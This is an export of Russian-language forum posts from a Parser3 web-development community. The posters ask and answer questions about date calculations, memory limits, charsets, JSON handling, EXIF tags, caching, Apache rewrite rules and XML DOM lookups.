  $lCal[^date:calendar[rus]($aYear;10)]\
  ^lCal.offset[set](-1)\
  ^while(!def $lCal.6){\
    ^lCal.offset[cur](-1)\
  }\
  $result[$lCal.6][/code]"
"80160","Поздравляю с праздником, коллеги :)"
"80162","Друзья, а как вы с Emoji работаете? Да так, что бы у вас оно еще и в базу корректно писалось.\
А то у меня всякие звери (в unescape конечно же), вроде [color=\"#ff0000\"]%uD83D%uDE01[/color] совсем не желают из парсера в базу писаться, сколько бы я все в uft8mb4 не делал."
"80163","Имеем ситуацию, когда при работе парсера съедается очень много памяти (более 3Гб на процесс). А в последнее время участились случаи, когда вдобавок съедается и весь swap и сервер вообще начинает умирать. Можно ли как-то умерить аппетиты парсера?"
"80165","Ищется веб-мастер/программист на Parser3 для удаленной работы:\
- внесение материалов на сайт (незначительно, большие объемы сами закачиваем)\
- корректировки / устранение ошибок в готовом функционале\
- доработка нового функционала\
\
Имеющих опыт, интерес и свободное время просьба писать на gynsus@yandex.ru"
"80166","Под Win 7 x64 (сервер и Парсер x32) у меня парсерный процесс никак не может съесть более ~300 МБ памяти — падает сборщик мусора.\
\
Приходится очень сильно оптимизировать даже одноразовые задачи.\
\
Никто не сталкивался?"
"80167","А как вычислить День офисного сотрудника, который проводится в среду последней полной недели апреля? Точнее как правильно вычислить эту полную неделю в рамках этого метода?"
"80168","Может быть вам стоит самому такие примитивные вещи придумывать? :)))"
"80170","Думаю это какое-нибудь зацикливание, чтобы занять столько памяти надо десятки секунд. Писать логи во время исполнения (логгируя и потребление памяти), чтобы понять где возникает проблема.\
\
Ну и вообще веб-сервер без лимитов на потребление памяти CGI процессом - это совсем не правильно. У нас лимиты стоят везде, для большинства сайтов хватает 64Мб."
"80171","Сталкивался с \"Too many heap sections\", некоторые вот рекомендуют\
при подобных проблемах с libgc реестр подтюнить:\
\
http://steamcommunity.com/app/242760/discussions/0/522728813818195362/\
\
MS советует так:\
\
[quote]В системах Windows 2000, Windows XP и Windows Server 2003\
Параметр SharedSection задает размер куч рабочего стола и системы с помощью указанного ниже формата.\
SharedSection=xxxx,yyyy,zzzz\
В 32-разрядных операционных системах значение yyyy необходимо изменить на 12288.\
Для значения zzzz установите число 1024.\
В 64-разрядных операционных системах значение yyyy необходимо изменить на 20480.\
Для значения zzzz установите число 1024.\
[/quote]\
\
Но к Windows 7 это не факт что относится..."
"80172","Спасибо, попробую.\
\
По умолчанию в Win7 x64\
[quote]SharedSection=1024,20480,768[/quote]\
Поставил\
[quote]SharedSection=1024,20480,1024[/quote]"
"80173","Я бы скорее 20480 увеличивал. 2^11 * 10 - думаю это просто некоторое разумное число, можно менять в любую сторону..."
"80174","Да, стоит самому, конечно же, но уж очень я туплю с вычислением дат. Даже такие простые вещи не столь очевидны. :( Вот например пытаюсь использовать этот пример и упираюсь в endless loop:\
[code]@_floatDay[m;wd]\
$tCal[^date:calendar[rus]($dNow.year;$m)]\
^tCal.offset[set](-1)\
^while(!def $tCal.$wd){\
	^if(!def $lCal.0 && !def $lCal.6){\
		$result[$tCal.2]\
	}{\
		^tCal.offset[cur](-1)\
	}\
}\
$result[$tCal.$wd][/code]"
"80176","И дело не в вычислении дат, а в элементарной логике, которую вы все время усложняете неимоверно."
"80177","Так. Ну тогда если отдельным методом делать, то все-равно не ту среду он выбирает, например:\
[code]@_floatWed[m;wd]\
$tCal[^date:calendar[rus]($dNow.year;$m)]\
^tCal.offset[set](-1)\
^while(!def $tCal.0){\
	^tCal.offset[cur](-1)\
}\
$result[$tCal.2][/code]\
Вызов: [code]^_floatWed[4;2][/code]\
Выбирает 30 апреля 2014, но эта дата на неполной неделе. Или я снова неправильно что-то делаю. Не понимаю."
"80180","Выставил вдвое больше, после перезагрузки проверю как повлияет."
"80181","http://www.parser.ru/forum/?id=78763\
Уже года два пытаюсь с ней побороться - всё безуспешно. \
Один и тот же сайт, работая на одном хостинге, не тормозит, а на другом постоянно вылетает."
"80182","Если это стабильное явление (то есть можно сделать известный запрос и получить такой зависший процесс) и дадите ssh доступ - могу посмотреть.\
\
Какие запросы виснут должно по-идее быть видно из лога 500-х ошибок apache."
"80183","Перелеплял свой сайт с вин-1251 на утф-8, как того зачем-то хочет от меня w3c.\
\
Пересохранил блокнотом с анси на утф-8 все .html, все auto.p, все .cfg.\
\
БД не трогал пока, и спецом пытался валидировать страницы, где базы не участвуют. В html прописал мету с utf-8.\
\
Валидатор w3c говорит: [b]Internal encoding declaration utf-8 disagrees with the actual encoding of the document (windows-1251).[/b]\
[i]<meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">[/i]\
\
Что за экчуал инкодинг, блин, откуда берётся. Пересохранил в utf-8 даже auto.p из cgi-бина. Ни фига.\
\
Открыл его и вижу: \
[code]$CHARSETS[\
#	$.cp866[$charsetsdir/cp866.cfg]\
#	$.koi8-r[$charsetsdir/koi8-r.cfg]\
#	$.koi8-u[$charsetsdir/koi8-u.cfg]\
#	$.windows-1250[$charsetsdir/windows-1250.cfg]\
	$.windows-1251[$charsetsdir/windows-1251.cfg]\
#	$.windows-1254[$charsetsdir/windows-1254.cfg]\
#	$.windows-1257[$charsetsdir/windows-1257.cfg]\
#	$.x-mac-cyrillic[$charsetsdir/x-mac-cyrillic.cfg]\
][/code]\
\
А, ну, понятно. Нужна ещё строка про utf-8, перестановка дыры в решетках на неё, плюс файл .cfg в /charsets/. [b]А его там нет.[/b]\
\
[b]Где взять?[/b]\
\
Куда ещё может понадобиться копнуть?"
"80184","Ага. http://www.parser.ru/forum/?id=78996\
\
Кстати, кто не договорится с топик-стартером, всё ещё можно черкнуть и мне."
"80185","Строка с utf-8 не нужна. Для парсера utf-8 - дефолтная кодировка (http://www.parser.ru/docs/lang/?requestcharset.htm).\
\
Проверьте, есть ли в конфиге строки \
\
[code]\
$request:charset[UTF-8]\
$response:charset[UTF-8]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
[/code]\
\
и не переопределены ли они другими значениями."
"80186","достаточно было в конфигурационном auto.p написать:\
[code]\
$response:charset[utf-8]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
[/code]\
\
при этом оставить буквы в файлах в 1251 и проверить, что у вас в конфигурационном auto.p осталась строка:\
[code]\
$request:charset[windows-1251]\
[/code]\
\
после этого парсер сам бы для вас всё перекодировал из 1251 в utf-8."
"80187","Здравствуйте, подскажите пожалуйста, как используя пример http://www.parser.ru/examples/counter/, как отделить выводимые числа, т.е. привести в вид: 123 321 564, сейчас числа выводятся без пробелов 123321564.\
\
Спасибо."
"80188","http://www.parser.ru/forum/?id=18910 как вариант :)"
"80190","Привет всем, необходимо реализовать нормальный поиск по сайту. Сайт на парсере, MySQL, подскажите плиз кто и как решал проблему... Только начал изучать вопрос, как вариант наткнулся на Sphinx, но документации на русском нет, а с английским у меня практически никак. Если кто поделиться опытом буду крайне признателен."
"80193","Он конечно заброшен, но работать он от этого не перестал. \
\
http://toster.ru/q/38319"
"80194","Да и документация написана на очень простом английском."
"80198","Условия на maximich@tut.by высылайте"
"80199","Это хостер забыл поставить алиас на путь к библиотеке после апдейта гдето помогает .18 где то .16 гдето .14"
"80201","Добрый день.\
Parser 3.4.3.\
Для работы с внешней системой необходимо передавать JSON, но есть конструкции, где должны быть квадратные скобки, например: {\"mode\":1, \"data\":{\"1\":\"a\", \"2\":\"b\"}, \"array\":[{\"param\":1}, {\"param\":2}]}\
\
В доке есть $.table[object], но в виде таблицы не все данные можно записать.\
Нужно реализовать конструкцию  \"array\":[{\"param\":1}, {\"param\":2}] для хеша хешей.\
\
Если задать параметр $.hash[$hsh], то в метод @hsh придет весь хеш, поэтому рекурсивный вызов приведет к зацикливанию.\
\
Есть ли встроенная возможность приводить вложенные хеши к виду, как в случае $.table[object]?"
"80202","варианты:\
- используйте свой объект (назовите его, например, array) и для него задайте свой метод сериализации\
- используйте таки опцию $.hash[$hash-to-json-method] и внутри всё разруливайте по именам ключей (или другим признакам), но и остальные хэши сериализовывать придётся руками.\
\
я использую первый вариант.\
\
в самом простом случае ва класс будет такой:\
[code]\
@CLASS\
My\
\
@create[h]\
$self.h[^hash::create[$h]]\
\
@json-string[hParams][result;v]\
$result[[^h.foreach[;v]{^json:string[$v;$hParams]}[,]]]\
[/code]"
"80203","Misha v.3, а планируется ли в будущих версиях парсера метод преобразования JSON-строки (сформированной, например, с ключами [code]$.table[array|compact][/code]) в table?"
"80204","кроме того:\
[code]\
@main[]\
$h[^json:parse[{\
	\"aa\":[\
		{\"a\":\"a1\", \"b\":\"b1\", \"c\":\"\"},\
		{\"a\":\"a2\", \"b\":\"\", \"c\":\"c2\"},\
		{\"a\":\"\", \"b\":\"b3\", \"c\":\"c3\"}\
	] \
}][\
	$.array[$hook_array]\
]]\
\
<pre>\
^json:string[$h.aa;\
	$.indent(true)\
	$.table[array]\
]\
</pre>\
\
@hook_array[key;value][n;row;k;v]\
^if($value){\
	^value.foreach[n;row]{\
		^if(!def $result){\
			$result[^table::create{n	^row.foreach[k;]{$k^#09}}]\
		}\
		^result.append{$n	^row.foreach[;v]{$v^#09}}\
	}\
}{\
	$result[^table::create{n}]\
}\
[/code]"
"80205","Спасибо, попробую."
"80206","Писал аналогичный код недавно.\
\
Вопрос был как раз в том, планируется ли когда-нибудь внедрить подобный механизм на уровне самого парсера?\
\
Что касается первой части вопроса, то \
[code]$t[^table::create{a	b\
1	\
	2}][/code]\
\
И можно, например, выдавать exception при невозможности преобразовать в таблицу."
"80207","Например, если я хочу получать JSON массив с праздниками производственного календаря и при этом делать запрос к удаленному хосту всего 1 раз, то делаю так:\
[code]@_factory[y;m;d]\
^cache[/cache/factory-cal.cache](300){\
	$j[^file::load[text;http://basicdata.ru/api/json/calend/;$.timeout(3)]]\
}\
$h[^json:parse[^untaint[as-is]{$j.text};\
	$.double(false)\
	$.distinct[all]\
]]\
\
$y(^y.int(0))\
$m(^m.int(0))\
$d(^d.int(0))\
\
$sColor[^switch[$h.data.$y.$m.$d.isWorking]{\
	^case[2]{holiday}\
	^case[3]{short}\
	^case[DEFAULT]{}\
}]\
\
$result[$sColor][/code]\
При первом формировании страницы в моем календаре правильно окрашиваются дни.\
А если обновить страницу, то Парсер выдает ошибку: [i]unexpected end of json data[/i] в месте, где происходит ^json:parse[].\
Видимо когда кэш уже создан переменная $j почему-то перестает существовать.\
Как правильно сделать кэш?"
"80208","т.е. то, что вы в его теле создали объект типа файл, он не скэширует. а скэширует перевод строки, символ табуляции, перевод строки.\
\
для того, чтобы решить вашу задачу в теле этого оператора надо выдать поле text объекта типа файл.\
ну и результат этого оператора наверное надо в переменную класть, значение которой потом и десериализовывать."
"80209","Производственный календарь утверждается раз в году, зачем его дергать каждые 5 минут? Зачем по каждому запросу сериализовать, если можно сделать это один раз, при обновлении, положить в каком нибудь простом и удобном формате, хоть в cfg таблице на диске и потом уже весь год работать только с ней, изредка дергая сервер на предмет внезапного обновления?"
"80210","По аналогии с http://www.parser.ru/forum/?id=73770, только в переменной хранится не объект, а имя класса. Уже смотрел в сторону ^reflection:method[], но как ни пробовал - не заработало.\
\
Как примерно хотелось бы:\
\
[code]$class_name[DateTimeProperty]\
$method[^reflection[$class_name;to_xml]]\
^method[][/code]\
\
Или в духе конструкций с $$ и [] как по ссылке выше.\
\
Пример кода с классом:\
\
[code]@CLASS\
DateTimeProperty\
\
@static:to_xml[]\
$result[get over here!][/code]"
"80213","[code]\
$s[^cache[ключ](время){тут код, который возвращает строку}]\
тут действия со строкой в переменной $s\
[/code]"
"80216","Добрый день!\
Подскажите, пожалуйста, давно не занимался веб-программированием,\
насколько сейчас актуально применение Parser для создания сайта-визитки с нуля?\
Какой хостинг идеально подходит под эту технологию?"
"80217","Что значит актуально применение? Вопрос можно ставить только так - можно ли с помощью парсера решить такую то задачу (сайт-визитку)? Ответ - можно.\
Вообще любой несложный сайт можно на парсере писать смело. Для больших проектов нужно думать - нехватка специалистов по парсеру, может доставить в будущем сложности.\
\
Хостинги многие поддерживают парсер (например мастерхост, зенон), иногда нужно немного напильника."
"80218","Коллеги, приветствую!\
\
Подскажите, парсер сейчас разбирается все тэги, которые есть в exif, или все-таки выборочные?\
\
Не могу парсером получить тэг #42035 - This tag records the lens manufactor as an ASCII string. Яндекс.Фотки и LR эту информацию выводят, но не пойму - вытягивают ее из тэга, который не видет парсер, либо по своей внутренней DB пробегают."
"80219","Выставил SharedSection=1024,40960,1024, падает на том же объёме в ~255 МБ использованной памяти.\
\
bug.html:\
[code]@main[]\
$h[^hash::create[]]\
\
^for[x](1;10000){\
	^for[y](1;10000){\
		^for[x](1;10000){\
			$h.[^math:uuid[]][^for[x](1;1000){^math:uuid[]}]\
		}\
	}\
}[/code]"
"80220","Разбирает выборочные, причем переводит численные идентификаторы в строки.\
src/classes/image.C ~180 строка, можете добавить по аналогии 0xA433 и пересобрать парсер, что достаточно просто.\
Будут проблемы - обращайтесь."
"80221","У нас libgc собирется с конфигом \"по умолчанию\", заявлено при этом у них так:\
\
#   define MAX_HEAP_SECTS 512   /* Roughly 4GB */\
\
Почему по факту эти 512 секций дают всего ~256Mb - сложно сказать. У меня кстати падало на 297596Кб по musage, несколько больше, чем 256Mb. По размеру свободной памяти в логе musage видно, что память у OS действительно выделяется кусками по 8Mb, но таких кусков было ~36, а не 512 (в отладчике же видно, что использованных секций на момент падения 512). Похоже на какую-то багу в libgc.\
\
Если пересобрать gc с -DLARGE_CONFIG (добавляется в NT_STATIC_THREADS_MAKEFILE), то лимит получается сильно больше, во всяком за гигабайт у меня размер аллоцированной памяти успешно переваливал (1130024Кб по musage). Память выделяется кусками по 16Mb.\
Но неудобно, что через переменную эти настройки не меняются, только при сборке libgc.\
\
Еще интересно, что парсер, собранный под cygwin, такой проблемы не имеет - успешно дорастает до гигабайта с лимитом по умолчанию в libgc. Правда работает медленнее. :) Но зато на ~15% меньше памяти потребляет..."
"80222","Так, чуточку помощи надо. На сборке затыкаемся в этом месте:\
[code]\
Downloading pcre-8.33...\
fetch: ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/pcre-8.33.tar.gz: File unavailable (e.g., file not found, no access)\
[/code]\
\
Ну, и дальше все разваливается:\
[code]\
Building pcre-8.30...\
make: don't know how to make install. Stop\
Configuring parser3...\
configure: error: /home/u40920/parser3project/pcre does not seem to be valid PCRE installation directory\
Building parser3...\
make: don't know how to make install. Stop\
[/code]\
\
Как бы победить?\
И в image.c ничего не вижу про тэг 0xa434, который Парсер выводит (без имени, просто десятичное число, но выводит, и значение корректно отображает)"
"80223","... и посмотрите какая последняя версия PCRE лежит на сервере. Сейчас это 8.36. Её и пропишите в buildall.\
\
[code]Index: buildall\
===================================================================\
RCS file: /parser3project/parser3/buildall,v\
retrieving revision 1.13\
diff -u -r1.13 buildall\
--- buildall    7 Mar 2014 19:53:51 -0000       1.13\
+++ buildall    10 Oct 2014 11:18:35 -0000\
@@ -128,7 +128,7 @@\
 fi\
\
 if test ! -f \"$project_dir/pcre/lib/libpcre.a\"; then\
-    lib=\"pcre-8.33\"\
+    lib=\"pcre-8.36\"\
     prepare_gz $lib.tar.gz ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/\
     echo \"Configuring $lib...\"\
     ./configure --prefix=\"$project_dir/pcre\" \\\
[/code]"
"80224","[code]\
Index: image.C\
===================================================================\
RCS file: /parser3project/parser3/src/classes/image.C,v\
retrieving revision 1.144\
diff -u -r1.144 image.C\
--- image.C     2 Oct 2013 20:37:29 -0000       1.144\
+++ image.C     10 Oct 2014 11:15:26 -0000\
@@ -179,6 +179,7 @@\
                EXIF_TAG(0xa40b,        DeviceSettingDescription);\
                EXIF_TAG(0xa40c,        SubjectDistanceRange);\
                EXIF_TAG(0xa420,        ImageUniqueID);\
+               EXIF_TAG(0xa433,        LensManufactor);\
        }\
 } exif_tag_value2name;\
[/code]"
"80225","Так, отлично!\
Добавил строки\
[code]\
		EXIF_TAG(0xa433,	LensManufactor);\
		EXIF_TAG(0xa434,	LensModel);\
		EXIF_TAG(0xa435,	LensSerialNumber);\
[/code]\
, пересобрал парсер, все отлично. Exif читается, данные выводятся:\
[i]\
LensModel - EF24-70mm f/4L IS USM \
LensSerialNumber - 0413007099\
[/i]\
\
Но! В общий хэш параметров exif по-прежнему попадают ключи вида:\
[i]\
42033 - 128028002592 \
42034 -\
              0 - 24\
              1 - 70\
[/i]\
(во втором случае значение хэш).\
Так вот у меня вопрос - Парсер выводит все значения, которые камера записала, даже те, для которых нет строкового соответствия, выводя им в качестве имени десятичный номер тэга, или же в хэш с exif он пишет только некоторые выборочные тэги, а некоторые просто игнорирует, вообще?"
"80226","Исправьте опечатку \
[code]<h2>Глобальные переменные, заданые в конфигурационном auto.p</h2>[/code] в файле [url=\"http://www.parser.ru/f/1/download/utils/parser3test_russian.zip\"]http://www.parser.ru/f/1/download/utils/parser3test_russian.zip[/url]\
\
[quot]...зада[b]НН[/b]ые...[/quot]"
"80227","Спасибо за изыскания."
"80228","Почему печально? :) Могу выложить парсер, собранный  с увеличенным лимитом."
"80229","[quote]Могу выложить парсер, собранный с увеличенным лимитом.[/quote]\
\
Если есть возможность.\
Потестирую."
"80230","Оно правда собрано VS2010, надеюсь это нигде боком не вылезет.\
\
http://moko.ru/tmp/parser3-4-3-large-gc.zip\
\
Рантайм (msvc*.dll) в архив не клал, если вдруг .exe не запустится, в интернете есть."
"80231","Спасибо!\
\
До 1 452 268 KB дотянул, прежде чем упал."
"80232","попался мне сайт на поддержку написанный на Parser3. в нем не хватает файлов системы SULTANA\
порылся по форуму и в гугле и увидел что встречается код этой системы. но крайне редко\
хотелось бы узнать что это, где взять файлы этого нечто, и где найти документацию по этому добру\
спасибо"
"80233","Здравствуйте.\
В /cgi-bin/parser3/auto.p \
имею:\
 $request:charset[windows-1251]\
 $response:charset[windows-1251]\
\
Хотел в под-папку веб-пространства положить html-файл в другой (UTF-8) кодировке, не хотел перекодировать сам файл и менять общую кодировку проекта.\
\
Итого: /utf-files/charts.html\
\
Попробвал сначала внутри самого charts.html написать:\
@main[]\
$request:charset[UTF-8]\
$response:charset[UTF-8]...\
\
- не сработало\
\
попробовал внутри html сделать\
@auto[]\
$request:charset[UTF-8]\
$response:charset[UTF-8]\
\
@main[]\
html и контент в UTF-8\
\
- не сработало.\
\
ok, создал в папке /utf-files/auto.p\
и там уже прописал\
@auto[]\
$request:charset[UTF-8]\
$response:charset[UTF-8]\
\
- не сработало!\
\
Разве http-заголовки не переопределяются в каждой вложенной папке?\
Почему это не работает?"
"80234","Возможно ли отдать парсером статус 404? \
\
@unhandled_exeption[vars1;vars2]\
$response:status[404]\
естественно, не работает\
\
суть - в том, что apache через дериктиву\
AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser3/parser3.cgi\
\
автоматически посылает на обработку любые запрашиваемые .html\
в parser3.cgi - что и верно.\
\
но если запрашивается несуществующий html-файл, то\
это вызывает внутренюю ошибку парсера, который ее вываливает\
в виде контента со статусом 200 OK,\
как мне создать true 404 чтобы веб-роботы тыкаясь в несуществующие html получали 404-ый статус.\
\
Спасибо."
"80235","[code]ErrorDocument 404 /404.html[/code]\
\
В 404.html\
[code]$response:status(404)[/code]"
"80236","Т.е. сформулировать в итоге правильный и лаконичный конечный набор правил для общего случая, когда надо, чтобы весь запрос uri без исключения направлялся на некий engine.p (или engine.html) в корне страницы\
\
то есть любая строка от /section/section2 и /section.html\
до /section/?blah-blah и даже /section.html/subparam/?par1=0&par2=1\
и так далее то есть отдавая разбор всего request_uri сразу парсеру"
"80237","Однако, ErrorDocument - деректива уже не отрабатывается\
надо самому страничку выдавать.\
внутренний редирект в виде\
$response:location[/err/404.html]\
тоже не срабатывает"
"80238","Полный набор:\
\
[code]    RewriteEngine On\
    RewriteBase /\
    RewriteCond %{REQUEST_FILENAME} !-f\
    RewriteRule ^(.*)$ /_ind.html?_action=$1 [QSA,L][/code]"
"80239","У нас обычно как-то так:\
\
# skip for some dirs (директории со статикой, файлы-исключения)\
RewriteRule ^([_.]|i/|js) - [L]\
\
# skip for some files: robots.txt, favicon.ico\
RewriteRule \\.(txt|ico)$ - [L]\
\
# общий рирайт, _ в начале имени - чтобы не было зацикливания\
RewriteRule (.*)  /_doc.html?request=$1 [L,QSA]\
\
# обработка 404 ошибок - тоже парсером\
ErrorDocument 404 /_doc.html?request=/404/"
"80240","[code]\
$request:charset[UTF-8]\
$response:charset[UTF-8]\
[/code]\
\
-- это НЕ определение [b]HTTP[/b] заголовков.\
это определение кодировок файлов и кодировки, в которой данные надо отправлять браузеру.\
вы забыли указать:\
[code]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
[/code]\
\
т.е. в вашем случае браузеру в HTTP заголовке продолжала отправляться информация о ранее заданной (в конфигурационном auto.p) кодировке, которая после смены $response:charset утратила актуальность."
"80241","На входе:\
[code]\
@USE\
Debug.p\
\
@main[]\
$xdocSite[^xdoc::create[document]]\
\
$addedNode_html[^xdocSite.documentElement.appendChild[^xdocSite.createElement[html]]]\
$addedNode_body[^addedNode_html.appendChild[^xdocSite.createElement[body]]]\
$addedNode_div1[^addedNode_body.appendChild[^xdocSite.createElement[div]]]\
^addedNode_div1.setAttribute[id;test1]\
$addedNode_div1.nodeValue[test_value]\
\
$ElementId[^xdocSite.getElementById[test1]]\
\
^dshow[$xdocSite]\
\
^dshow[$ElementId]\
[/code]\
\
Выдача:\
\
[code]memory used/collected: 744/0 KB calls/dcompacts: 0/0 Usage: 0.000 s, Utime: 0.000 s\
\
^xdoc::create{<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<document>\
  <html>\
    <body>\
      <div id=\"test1\">test_value</div>\
    </body>\
  </html>\
</document>}\
\
\
memory used/collected: 756/0 KB calls/dcompacts: 0/0 Usage: 0.000 s, Utime: 0.000 s\
void\
[/code]"
"80242","добавьте после xml declaration, например такое:\
[code]<!DOCTYPE document [\
  <!ATTLIST div    id           ID     #IMPLIED>\
]>[/code]\
\
[url=\"http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-getElBId\"]w3.org[/url]:\
[quote]Note: The DOM implementation must have information that says which attributes are of type ID. Attributes with the name \"ID\" are not of type ID unless so defined. Implementations that do not know whether attributes are of type ID or not are expected to return null.[/quote]"
"80244","# общий рирайт, _ в начале имени - чтобы не было зацикливания\
RewriteRule (.*) /_doc.html?request=$1 [L,QSA]\
\
А где символ ^ и $ не нужен? \
И можете пояснить, почему должно (НЕ)произойти зацикливание,\
выражение .* - исключает символ \"_\" или как это работает?\
а что тогда будет с /my_some_query \
\
P.S.: Заранее, прошу прощения за глупые вопросы."
"80245","Так ли это?"
"80246","подобную проверку используют для того, чтобы можно было назвать файл как угодно, положить его в веб-пространство и он заработал без каких-либо правок.\
\
мы такой подход не используем, т.к. считаем, что нефиг ничего класть в веб пространство просто так (например вирус через какую-нить дыру что-то может положить, зачем нам это?). ну и это чуть медленнее (файловая операция)."
"80247","Простиет, но у меня с regexp-ами пока плохо, поэтому я не могу понять как в вашем примере работает правило для статики, и как там учавствует символ \"_\"\
\
# skip for some dirs (директории со статикой, файлы-исключения)\
RewriteRule ^([_.]|i/|js) - [L]\
\
означает ли это, что папки со статикой должны начинаться с \"_\"\
или просто i/ или js? (содержать,начинатся...не понятно)"
"80248","зацикливания не будет, т.к. выше написано:\
RewriteRule ^([_.]|i/|js) - [L]\
\
> А где символ ^ и $ не нужен? \
тут они формально и не нужны, т.к. всё сделает \"жадность\" и под .* попадёт всё от начала и до конца."
"80249","Я окончательно запутался...\
Если Rewrite обычно используется чтобы заворачивать uri в интерпретатор (parser)\
то в данном случае:\
 \
 RewriteCond %{REQUEST_FILENAME} !-f\
 RewriteRule ^(.*)$ /_ind.html?_action=$1 [QSA,L]\
\
К чему применяется -f? К запрашиваему uri?\
Дак он (файл) и не существует, т.к. он (запрос) виртуален и вообще ЧПУ всякие бывают.\
\
Или -f применяется к _ind.html ? Что мол запрос в конечном счете должен соответствовать отдаче на конечный файл?"
"80251","[quote]RewriteCond %{REQUEST_FILENAME} !-f\
RewriteRule ^(.*)$ /_ind.html?_action=$1 [QSA,L]\
\
К чему применяется -f? К запрашиваему uri?[/quote]\
\
Очевидно к %{REQUEST_FILENAME}, в котором, согласно документации, [quote]The full local filesystem path to the file or script matching the request, if this has already been determined by the server at the time REQUEST_FILENAME is referenced. Otherwise, such as when used in virtual host context, the same value as REQUEST_URI. Depending on the value of AcceptPathInfo, the server may have only used some leading components of the REQUEST_URI to map the request to a file.[/quote]\
\
\
[quote]Дак он (файл) и не существует, т.к. он (запрос) виртуален и вообще ЧПУ всякие бывают.\
\
Или -f применяется к _ind.html ? Что мол запрос в конечном счете должен соответствовать отдаче на конечный файл?[/quote]\
\
Это правило говорит, что через _ind.html нужно обрабатывать запросы к файлам, которых не существует локально.\
Соответственно, статика и существующие файлы отдаются сервером (в том числе с вызовом интерпретатора), а прочее — парсером."
"80252","Это правило блокирует возможность генерировать файлы с расширением txt из Парсера. Не для всех это важно, но учитывать стоит."
"80253","Что помешает вирусу положить «что-то» в папки i или css? В данном случае вы просто переносите корень для хранения файлов другое место. По большому счету что я буду хранить файлики в папке /blog/posts/12345, что в /i/blog/posts/12345 разницы никакой.\
\
И мой и ваш вариант дают одинаковый эффект. Так что выбирать можно любой."
"80255","Есть подозрение, что StorageFile.cleanup не работает.\
\
Ожидаю, что он должен зачистить все протухшие файлы и их индексы.\
Однако, при вызове cleanup ничего не удаляется.\
\
bug.html:\
[code]@main[]\
^use[StorageFile.p]\
$cache[^StorageFile::create[cache][\
	$.sDataDir[/_tmp/test]\
]]\
^for[k](1;1000){\
	^cache.set[$k][\
		$.value[1]\
		$.expires(1/24/3600)\
	]\
}\
[/code]\
\
Получаем 2000 файлов.\
Через несколько минут вызываем [code]^cache.cleanup[][/code] и ничего не удаляется.\
\
Глубоко пока не разбирался, вижу, что файлы перебираются, но не удаляются."
"80256","На входе:\
[code]\
@USE\
Debug.p\
\
@main[]\
$xdocSite[^xdoc::create{\
<!DOCTYPE document [\
	<!ATTLIST div id ID #IMPLIED>\
	<!ATTLIST p id ID #IMPLIED>\
	<!ATTLIST a id ID #IMPLIED>\
]>\
<document/>\
}]\
\
$addedNode_html[^xdocSite.documentElement.appendChild[^xdocSite.createElement[html]]]\
$addedNode_body[^addedNode_html.appendChild[^xdocSite.createElement[body]]]\
\
$addedNode_div[^addedNode_body.appendChild[^xdocSite.createElement[div]]]\
$addedNode_div.nodeValue[test1_value]\
^addedNode_div.setAttribute[id;test1]\
\
$addedNode_p[^addedNode_body.appendChild[^xdocSite.createElement[p]]]\
^addedNode_p.setAttribute[id;test2]\
\
$addedNode_a[^addedNode_p.appendChild[^xdocSite.createElement[a]]]\
$addedNode_a.nodeValue[Link to parser3 web site]\
^addedNode_a.setAttribute[id;test3]\
^addedNode_a.setAttribute[href;http://www.parser.ru/]\
\
$ElementIDdiv[^xdocSite.getElementById[test1]]\
$ElementIDp[^xdocSite.getElementById[test2]]\
$ElementIDa[^xdocSite.getElementById[test3]]\
\
^dshow[$xdocSite]\
^dshow[$ElementIDdiv]\
^dshow[$ElementIDp]\
^dshow[$ElementIDa]\
[/code]\
\
На выходе:\
[code]\
memory used/collected: 784/0 KB calls/dcompacts: 0/0 Usage: 0.000 s, Utime: 0.000 s\
\
^xdoc::create{<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<!DOCTYPE document [\
<!ATTLIST div id ID #IMPLIED>\
<!ATTLIST p id ID #IMPLIED>\
<!ATTLIST a id ID #IMPLIED>\
]>\
<document>\
  <html>\
    <body>\
      <div id=\"test1\">test1_value</div>\
      <p id=\"test2\">\
        <a id=\"test3\" href=\"http://www.parser.ru/\">Link to parser3 web site</a>\
      </p>\
    </body>\
  </html>\
</document>}\
\
\
memory used/collected: 804/0 KB calls/dcompacts: 0/0 Usage: 0.000 s, Utime: 0.000 s\
\
<div id=\"test1\">test1_value</div>\
\
\
memory used/collected: 812/0 KB calls/dcompacts: 0/0 Usage: 0.000 s, Utime: 0.000 s\
\
<p id=\"test2\"><a id=\"test3\" href=\"http://www.parser.ru/\">Link to parser3 web site</a></p>\
\
\
memory used/collected: 816/0 KB calls/dcompacts: 0/0 Usage: 0.000 s, Utime: 0.000 s\
\
<a id=\"test3\" href=\"http://www.parser.ru/\">Link to parser3 web site</a>\
[/code]"
"80258","глянул. там cleanup вообще некорректный, т.к. он получает и перебирает имена файлов, а вызывает методы, которые должны принимать ключи. т.е. оно в таком виде работать в принципе не может и требует довольно серьёзных переделок.\
\
P.S. кое что переделал, могу дать на потестировать."
"80259","Хочется иногда бывает обрабатывать файлы, расположенные на соседнем сервере.\
[code]^file::load[binary;\\\\server1\\test.jpg][/code]\
Но Парсер работает под системной локальной учеткой, поэтому не имеет доменных прав доступа туда.\
Как выдать ему права? Система Windows 2003.\
Либо как настроить запуск службы Apache с определенными правами, чтобы запускаемый дочерний процесс Парсера наследовал эти права?\
\
[b]UPD:[/b]\
Пробовал с помощью ProcessExplorer добавить нужные права службе Apache, но Parser, как и сам HTTPD их не наследуют. :("
"80260","[quote]кое что переделал, могу дать на потестировать[/quote]\
\
Давай, конечно.\
Потестирую."
"80261","Да, надо запускать сервис Apache от доменной учетной записи, и тогда все дочерние процессы (в том числе и парсер) будут работать от доменного пользователя."
"80262","файлы-исключения - лежат в корне, начинаются с _ (например _doc.html)\
директории со статикой - надо перечислить самостоятельно. в данном случае это i и js*."
"80266","Мастерхост обновил сервер под Linux. Старая версия парсера (под FreeBSD) перестала работать. Обновил, закачав все необходимое в папку cgi-bin из дистрибутива parser3_4_3_debian6x64.tar, права проставил. Упорно не хочет соединяться с mysql, пишет:\
